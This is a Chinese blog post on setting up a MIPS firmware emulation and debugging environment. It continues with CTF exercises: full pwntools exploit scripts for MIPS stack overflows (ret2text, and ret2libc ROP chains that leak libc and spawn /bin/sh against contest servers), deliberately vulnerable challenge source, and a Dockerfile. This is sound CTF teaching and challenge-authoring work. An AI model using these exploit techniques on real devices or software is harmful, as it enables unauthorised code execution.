兴趣研究 May 17, 2020

IOT固件mips环境安装与漏洞复现

Words count 82k Reading time 1:14 Read count 0

一、mips的编译环境安装

1、下载buildroot

1
2
3
wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2
tar -jxvf buildroot-snapshot.tar.bz2
cd buildroot

2、配置buildroot

1
2
3
4
sudo apt-get install libncurses-dev patch
make clean
make qemu_mips32r2el_malta_defconfig
make menuconfig

3、在出现界面后,选择第一项“Target Architecture”,然后选择mips那个即可

4、编译环境的make

1
2
3
4
sudo apt-get install texinfo
sudo apt-get install bison
sudo apt-get install flex
sudo make

这里要等n久,所以可以先搞点自己的事

5、将编译器mips-linux-gcc设置为全局状态

1
2
3
gedit ~/.bashrc
export PATH=$PATH:/Your_Path/buildroot/output/host/usr/bin
source ~/.bashrc

6、编译生成mips的程序

1
mips-linux-gcc -o hello hello.c -static

7、firmadyne

这是个路由器固件的仿真环境,环境如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sudo apt-get install busybox-static fakeroot git dmsetup kpartx netcat-openbsd nmap python-psycopg2 python3-psycopg2 snmp uml-utilities util-linux vlan

git clone --recursive https://github.com/firmadyne/firmadyne.git
之后要进入到文件夹内,修改firmadyne.config,将其中的

FIRMWARE_DIR=/home/vagrant/firmadyne/
修改为完整路径
然后可以执行安装

sudo ./download.sh
sudo -H pip install git+https://github.com/ahupp/python-magic
sudo -H pip install git+https://github.com/sviehb/jefferson
sudo apt-get install qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
sudo apt-get install postgresql
sudo -u postgres createuser -P firmadyne
sudo -u postgres createdb -O firmadyne firmware
sudo -u postgres psql -d firmware < ./firmadyne/database/schema

二、动态调试环境安装

1、qume模拟器的安装

1
2
sudo apt-get install qemu
apt-get install qemu binfmt-support qemu-user-static

2、gdb-multiarch的安装

1
sudo apt-get install gdb-multiarch

三、mips程序的运行、反编译和调试方法

1、单纯运行

1
qemu-mipsel ./hello

2、gdb-multiarch动态调试挂载

1
2
3
qemu-mipsel -g 1234 -L /Your_Path/buildroot/output/target/ ./hello //窗口a
gdb-multiarch hello //窗口b
target remote: 1234 //gdb界面

3、jeb-mips静态分析

下载jeb-mips软件,这个是专门用来分析mips程序的,目前只有测试版的jeb-mips可以用,但是已经够用了。

Jeb-mips下载地址:https://www.pnfsoftware.com/jeb2/mips(梯子记得开全局)

看看效果44

image-20200517230231911

还有个找gadget的脚本叫做pleaserop,这里附上地址:https://github.com/pnfsoftware/PleaseROP

只要把下载下来的PleaseRopPlugin-1.0.1.jar放到jeb文件夹中的coreplugins中即可

image-20200517230836505

测试下效果

image-20200517230401565

可以找到想要的gadget

image-20200517230500075

4、ida的静态分析

ida中主要有一个mips的ropgadget的一个使用,这里需要安装一个工具mipsrop.py,附上github地址:

https://github.com/devttys0/ida/tree/master/plugins/mipsrop

使用方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
Python>mipsrop.help()

mipsrop.find(instruction_string)
------------------------------------------------------------------------------------------------------------------------------------------

Locates all potential ROP gadgets that contain the specified instruction.
@instruction_string - The instruction you need executed. This can be either a:
o Full instruction - "li $a0, 1"
o Partial instruction - "li $a0"
o Regex instruction - "li $a0, .*"


mipsrop.system()
------------------------------------------------------------------------------------------------------------------------------------------

Prints a list of gadgets that may be used to call system().


mipsrop.doubles()
------------------------------------------------------------------------------------------------------------------------------------------

Prints a list of all "double jump" gadgets (useful for function calls).


mipsrop.stackfinders()
------------------------------------------------------------------------------------------------------------------------------------------

Prints a list of all gadgets that put a stack address into a register.


mipsrop.tails()
------------------------------------------------------------------------------------------------------------------------------------------

Prints a lits of all tail call gadgets (useful for function calls).


mipsrop.set_base()
------------------------------------------------------------------------------------------------------------------------------------------

Set base address used for display


mipsrop.summary()
------------------------------------------------------------------------------------------------------------------------------------------

Prints a summary of your currently marked ROP gadgets, in alphabetical order by the marked name.
To mark a location as a ROP gadget, simply mark the position in IDA (Alt+M) with any name that starts with "ROP".

四、mips的汇编和常用的知识点总结

1、认识寄存器

1
2
3
4
5
6
7
8
9
10
11
12
$zero 第0号寄存器,其值始终为0
$at 保留寄存器
$v0-$v1 保存表达式或者函数返回结果
$a0-$a3 作为函数的前4个参数
$t0-$t7 临时寄存器,可以存值
$s0-$s7 子函数使用时必须要保存原来寄存器的值
$t8-$t9 补充t0-t7
$k0-$k1 保留,中断处理函数使用
$gp 全局指针
$sp 栈顶指针
$fp 保存栈指针
$ra 返回地址

2、认识汇编语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
一、load/store指令
la $t0,val_l //存地址
li $t1,0x20 //存值
lw $s0,0($sp) //取堆栈中偏移为0的地址上4字节的值
sw $a0,0($sp) //存值到堆栈中
move $t5,$t1 //$t5=$t1
二、算术运算指令
add,$t0,$t1,$t3 //$t0=$t3+$t1
sub,$t0,$t1,$t3 //$t0=$t3-$t1
addi,$t0,$t1,5 //$t0=$t3+5
addu,$t0,$t1,$t3 //$t0=$t3+$t1,无符号
subu,$t0,$t1,$t3 //$t0=$t3-$t1,无符号
mult $t3,$t4 //(Hi,Lo)=$t3*$t4
div $t3,$t4 //(Lo,Hi)=(商,余数)
mfhi $t0 //$t0=$Hi
mflo $t1 //$t1=$Lo
三、类比较指令
slt $v0,$a0,$s0 //如果$a0小于$s0,设置$v0=1,否则为0
slti $v0,$a0,244 //如果$a0小于244,设置$v0=1,否则为0
四、syscall
//产生一个软中断,实现系统调用
五、分支跳转指令
b 0x400828 //jmp 0x400828
beq $t0,$t1,0x400828 //je 0x400828
blt $t0,$t1,0x400828 //小于跳转
ble $t0,$t1,0x400828 //小于等于跳转
bgt $t0,$t1,0x400828 //大于跳转
bge $t0,$t1,0x400828 //大于等于跳转
bne $t0,$t1,0x400828 //jne 0x400828
bal 0x400828 //调用函数
六、跳转指令
j 0x400828 //jmp
jr $t3 //$t3=0x400828
jal 0x400828 //调用 0x400828;sw $ra=0x40082c

3、函数

叶子函数:当前函数不再调用其他函数,函数调用时,返回地址压入$ra,比较难实现利用

非叶子函数:当前函数调用其他函数,函数调用时,返回地址压入栈中,比较容易实现利用

五、ctf中的题目复现

1、ret2text

栈溢出跳转到后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
bin_elf = './test'
context.binary = bin_elf
context.log_level = "debug"

if sys.argv[1] == "r":
p = remote("106.75.126.171",33865)
if sys.argv[1] == "l":
p = process(["qemu-mipsel", "-L", "/home/v1ct0r/buildroot/output/target", bin_elf])
if sys.argv[1] == "d":
p = process(["qemu-mipsel", "-g", "1234", "-L", "/home/v1ct0r/buildroot/output/target", bin_elf])

elf = ELF(bin_elf)
libc = ELF("./libc.so.0")

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

backdoor = 0x40043c
py = ''
py += 'a'*0x38
py += 'bbbb'
py += p32(backdoor)
ru("just do it~")
sl(py)

p.interactive()

3、ret2libc

这里是安讯杯一道题,保护全开

image-20200520102424936

在vuln中有栈溢出的漏洞存在,这里没有后门什么的,所以是典型的泄漏地址去打的题目

所以第一步我们需要构造好payload,先实现rop链进行函数调用,这里关键就是找rop链,先找到从栈中取数据到寄存器的rop:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Python>mipsrop.find("lw")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0040053C | lw $ra,0x20+var_4($sp) | jr 0x20+var_4($sp) |
| 0x00400788 | lw $a1,arg_18($fp) | jalr $v0 |
| 0x004007A8 | lw $ra,arg_24($sp) | jalr $s2 |
| 0x00400858 | lw $v0,(stdin - 0x410BAC)($v0) | jalr $v0 |
| 0x0040087C | lw $v0,(stdout - 0x410BC0)($v0) | jalr $v0 |
| 0x00400898 | lw $gp,0x38+var_28($fp) | jalr $v0 |
| 0x004008BC | lw $gp,0x38+var_28($fp) | jalr $v0 |
| 0x004008D8 | lw $gp,0x38+var_28($fp) | jalr $v0 |
| 0x004008F4 | lw $gp,0x38+var_28($fp) | jalr $v0 |
| 0x00400918 | lw $gp,0x38+var_28($fp) | jalr $v0 |
| 0x004006C8 | lw $ra,0x30+var_4($sp) | jr 0x30+var_4($sp) |
| 0x0040080C | lw $ra,0x40+var_4($sp) | jr 0x40+var_4($sp) |
| 0x00400954 | lw $ra,0x38+var_4($sp) | jr 0x38+var_4($sp) |
| 0x00400994 | lw $ra,0x28+var_4($sp) | jr 0x28+var_4($sp) |
| 0x00400A7C | lw $ra,0x20+var_4($sp) | jr 0x20+var_4($sp) |
----------------------------------------------------------------------------------------------------------------

这里我们发现从0x4006c8往下的的gadget都是从栈中的偏移处取值到寄存器中,同时ret跳转的地址也是在栈中,这样我们就可以控制程序的执行流程了,选取0x4006c8:

image-20200520104113668

可以看到这里是参数在栈中的相应偏移的构造,所以我们跳转到这里,并在相应偏移处构造好参数值,也就是说可以把想要调用的函数放到$ra,然后参数放到s0-s3的寄存器中,但是a0-a3才是我们的参数寄存器,所以要继续找gadget:ß

1
2
3
4
5
6
7
8
9
10
11
12
Python>mipsrop.find("move $a0")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x00400750 | move $a0,$s1 | jalr $v0 |
| 0x004007A8 | move $a0,$s1 | jalr $s2 |
| 0x004007EC | move $a0,$zero | jalr $v0 |
| 0x00400860 | move $a0,$v0 | jalr $v0 |
| 0x00400884 | move $a0,$v0 | jalr $v0 |
| 0x004008A8 | move $a0,$v0 | jalr $v0 |
| 0x00400904 | move $a0,$zero | jalr $v0 |
----------------------------------------------------------------------------------------------------------------

这里0x4007a8的gadget可以实现传参数到$a0,同时$s2会被调用,正合我们心意

image-20200520104637111

那么printf函数这么调用呢?

image-20200520104929967

这里可以看到调用完printf后继续执行vuln会再次栈溢出,这时就可以实现再次栈溢出了

所以我们就可以构造出合理的payload来泄漏地址了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
j2s2_s1a0=0x004007A8#gadget
li_ras3s2s1s0=0x004006C8
read_got = elf.got["read"]
printf_plt = 0x40092c
py = ''
py += 'a'*0x20
py += 'bbbb'
py += p32(li_ras3s2s1s0)
py += 'c'*0x1c
py += p32(0)#s0
py += p32(read_got)#s1->a0
py += p32(printf_plt)#s2->t9
py += p32(0)#s3
py += p32(j2s2_s1a0)#ra

这一步会打印出我们的read函数的真实地址出来,然后再次栈溢出,布局已经知道了,我们只要写入system(/bin/sh)即可

1
2
3
4
5
6
7
8
9
10
py = ''
py += 'a'*0x20
py += 'bbbb'
py += p32(li_ras3s2s1s0)
py += 'c'*0x1c
py += p32(0)#s0
py += p32(binsh)#s1->a0
py += p32(system)#s2->t9
py += p32(0)#s3
py += p32(j2s2_s1a0)#ra

最后是完整的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
bin_elf = './pwn2.dms'
context.binary = bin_elf
context.log_level = "debug"

if sys.argv[1] == "r":
p = remote("106.75.126.171",33865)
if sys.argv[1] == "l":
p = process(["qemu-mipsel", "-L", "/home/v1ct0r/buildroot/output/target", bin_elf])
if sys.argv[1] == "d":
p = process(["qemu-mipsel", "-g", "1234", "-L", "/home/v1ct0r/buildroot/output/target", bin_elf])

elf = ELF(bin_elf)
libc = ELF("./libc.so.0")

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

ru("What's your name: \n")
sl("king")

j2s2_s1a0=0x004007A8#gadget
li_ras3s2s1s0=0x004006C8
read_got = elf.got["read"]
printf_plt = 0x40092c
py = ''
py += 'a'*0x20
py += 'bbbb'
py += p32(li_ras3s2s1s0)
py += 'c'*0x1c
py += p32(0)#s0
py += p32(read_got)#s1->a0
py += p32(printf_plt)#s2->t9
py += p32(0)#s3
py += p32(j2s2_s1a0)#ra
sl(py)
ru("king")
rc(1)
#libcbase
read_addr = u32(rc(4))
libc_base = read_addr-libc.sym["read"]
print "libc_addr-->" + hex(libc_base)
binsh = libc_base + libc.search('/bin/sh').next()
system = libc_base + libc.sym["system"]
#getshell
py = ''
py += 'a'*0x20
py += 'bbbb'
py += p32(li_ras3s2s1s0)
py += 'c'*0x1c
py += p32(0)#s0
py += p32(binsh)#s1->a0
py += p32(system)#s2->t9
py += p32(0)#s3
py += p32(j2s2_s1a0)#ra
sl(py)
p.interactive()

image-20200520105247466

六、mips的pwn题出题

学校要举办羊城杯的比赛,于是想了下,可以出道mips的pwn题尝尝鲜,正好巩固下所学习的知识。

1、源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155

#include <stdio.h>
#include <stdlib.h>
char name[24];
int *size[10];
int number = 0;
char *chunk[10];
int main(int argc, const char **argv, const char **envp)
{
int v3;
init();
puts("Warrior,leave your name here:");
read(0,name,8);
printf("hello,%s",name);
while ( 1 )
{
while ( 1 )
{
menu();
scanf("%d", &v3);
if ( v3 != 1 )
break;
add();
}
if ( v3 == 2 )
{
delete();
}
else if ( v3 == 3 )
{
edit();
}
else if ( v3 == 7 )
{
description();
}
else
{
if ( v3 == 4 )
{
puts("See you tomorrow~");
exit(0);
}
puts("Invalid choice!");
}
}
}
int init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
return memset(chunk, 0, 0x50uLL);
}
int add()
{
int v0;
int v2;
int v3;
printf("Give me a block ID: ");
scanf("%d", &v3);
printf("how big: ", &v3);
scanf("%d", &v2);
if ( v3 >= 0 && v3 <= 9 && number <= 10 )
{
if(v2>=0&&v2<0x100)
{
v0 = v3;
chunk[v0] = malloc(v2);
size[v0] = v2;
++number;
return puts("Done!\n");
}
else
{
puts("too large!");
}
}
}
int delete()
{
int v1;
unsigned int v2;
v1 = 0;
puts("Which one to throw?");
scanf("%d", &v1);
if ( v1 > 10 || v1 < 0 )
{
v2 = puts("Wrong!\n");
}
else
{
free(chunk[v1]);
--number;
v2 = puts("Done!\n");
}
return v2;
}

int edit()
{
int idx;
printf("Which block to write?");
scanf("%d",&idx);
printf("Content: ");
read_0(chunk[idx], size[idx]);
return puts("Done!\n");
}
int read_0(char *a1,int a2)
{
int v3;
char buf[10];
int i = 0;
for ( ; ; ++i )
{
v3 = i;
if ( i >= a2 )
break;
read(0, buf, 1);
if ( *buf == 10 )
break;
*(i + a1) = *buf;
}
// *(i + a1) = 0;
return v3;
}
void vul()
{ //栈溢出,ret2libc
char buf[50];
read(0,buf,0xb0);
}
void description()
{
puts("Write down your feeling:");
vul();
}
void abc()
{
puts("123 3123 32");
char buf[50];
puts("just do it~");
read(0,buf,30);
}

int menu()
{
puts("\n***********************");
puts("Welcome to the magic block world!");
puts("***********************");
puts("1.create a block");
puts("2.throw a block");
puts("3.write something on the block");
puts("4.exit the world");
return printf("Your choice: ");
}

这里写了个堆的菜单题,但是漏洞点很简单,就是ret2libc,在vul函数那里有栈溢出,考点就是ret2libc,出题是为了熟悉docker的部署环境。

2、编译

1
mips-linux-gcc -o pwn2.c pwn2 -static

编译出来的32位mips的程序如下:

image-20201014181659930

3、分析程序

先找到漏洞点:

先找到选项7的discription然后开到栈溢出漏洞:

image-20201014181907251

接着打开ida分析程序: 主要是利用工具mipsrop查找到获取参数的gadget

image-20201014181926562

这里设置好参数后,接着继续找能实现调用的gadget:

image-20201014181953787

然后就是ret2libc的简单栈溢出操作啦:

泄漏地址再system(‘/bin/sh’)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
bin_elf = './pwn2'
context.binary = bin_elf
context.log_level = "debug"

if sys.argv[1] == "r":
p = remote("183.129.189.60",10043)
libc = ELF("./libc.so.0")
if sys.argv[1] == "l":
p = process(["qemu-mipsel", "-L", "/home/v1ct0r/buildroot/output/target", bin_elf])
libc = ELF("/home/v1ct0r/buildroot/output/target/lib/libc.so.0")
if sys.argv[1] == "d":
p = process(["qemu-mipsel", "-g", "1234", "-L", "/home/v1ct0r/buildroot/output/target", bin_elf])
libc = ELF("/home/v1ct0r/buildroot/output/target/lib/libc.so.0")
elf = ELF(bin_elf)

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(index,size):
ru("Your choice: ")
sl('1')
ru("Give me a block ID: ")
sl(str(index))
ru("how big: ")
sl(str(size))
def free(index):
ru("Your choice: ")
sl('3')
ru("Which one to throw?")
sl(str(index))
def show(index):
ru("Your choice: ")
sl('2')
ru("Which book do you want to show?")
sl(str(index))
def edit(index,content):
ru("Your choice: ")
sl('4')
ru("Which book to write?")
sl(str(index))
ru("Content: ")
sl(content)

ru("Warrior,leave your name here:")
sl('king')
ru("Your choice: ")
sl('7')


j_ras3s2s1s0 = 0x00400798
m_a0_s0_t9_s2 = 0x000401040
read_got = elf.got["read"]
puts_plt = 0x00400FB4
py = ''
py += 'a'*0x38
py += 'bbbb'
py += p32(j_ras3s2s1s0)
py += 'c'*0x1c
py += p32(read_got)#s0
py += p32(0)#s1
py += p32(puts_plt)#s2
py += p32(0)#s3
py += p32(m_a0_s0_t9_s2)#ra
ru("Write down your feeling:")
sl(py)
rc(1)
read_addr = u32(rc(4))
libc_base =read_addr - libc.sym["read"]
# libc_base =read_addr
print "libc_base--->"+hex(libc_base)
system = libc_base + libc.sym["system"]
binsh = libc_base + libc.search("/bin/sh\x00").next()
py = ''
py += 'a'*0x38
py += 'bbbb'
py += p32(j_ras3s2s1s0)
py += 'c'*0x1c
py += p32(binsh)#s0
py += p32(0)#s1
py += p32(system)#s2
py += p32(0)#s3
py += p32(m_a0_s0_t9_s2)#ra
sl(py)

p.interactive()

这里本地和远程的库是不同的,一般题目会给出库,本地打通了,再换库调整偏移即可。

看下本地的效果:

image-20201014183449691

说明题目没毛病,现在利用docker部署到本地远程再试试看有没有出现什么幺蛾子情况:

第一步写个dockerfile,一开始不会写,谷歌了下大佬们写的dockerfile,找到一篇挺好的,但是那篇只针对他自己的程序,不是很通用,于是站在巨人肩膀上写个静态编译的通用型的mips的pwn题dockerfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
FROM ubuntu:16.04

RUN sed -i 's/archive.ubuntu.com/asia-east1.gce.archive.ubuntu.com/g' /etc/apt/sources.list && apt update && apt-get install -y lib32z1 xinetd && rm -rf /var/lib/apt/lists/ && rm -rf /root/.cache && apt-get autoclean && rm -rf /tmp/* /var/lib/apt/* /var/cache/* /var/log/*
#apt update && apt-get install -y lib32z1 xinetd && rm -rf /var/lib/apt/lists/ && rm -rf /root/.cache && apt-get autoclean && rm -rf /tmp/* /var/lib/apt/* /var/cache/* /var/log/*

RUN useradd -m ctf

COPY ./pwn.xinetd /etc/xinetd.d/pwn

COPY ./service.sh /service.sh

RUN chmod +x /service.sh

# copy bin
COPY ./bin/ /home/ctf/
COPY ./catflag /home/ctf/bin/sh


# chown & chmod
RUN chown -R root:ctf /home/ctf && chmod -R 750 /home/ctf && chmod 740 /home/ctf/flag

# copy lib,/bin
RUN cp -R /lib* /home/ctf && cp -R /usr/lib* /home/ctf && mkdir /home/ctf/dev && mknod /home/ctf/dev/null c 1 3 && mknod /home/ctf/dev/zero c 1 5 && mknod /home/ctf/dev/random c 1 8 && mknod /home/ctf/dev/urandom c 1 9 && chmod 666 /home/ctf/dev/* && cp /bin/sh /home/ctf/bin && cp /bin/ls /home/ctf/bin && cp /bin/cat /home/ctf/bin

COPY ./qemu-mipsel-static /home/ctf/qemu-mipsel
RUN chmod 755 /home/ctf/qemu-mipsel

COPY ./ld-uClibc.so.0 /home/ctf/lib

COPY ./libc.so.0 /home/ctf/lib

CMD ["/service.sh"]

其实也就是改成一般pwn题的docker形式,只需要改文件名就可以用的那种,用到的文件如下:

image-20201016121946144

1
2
sudo docker build -t "test789" .
sudo docker run -d -p "0.0.0.0:4377:9999" -h "test789" --name="test789" test789

看下最终效果:

image-20201016122158403

image-20201016122433661

至此,32位的mips静态编译的pwn题到此结束,从学习到出题,后期可能学习下64位的mips题目,有待更新……….

0%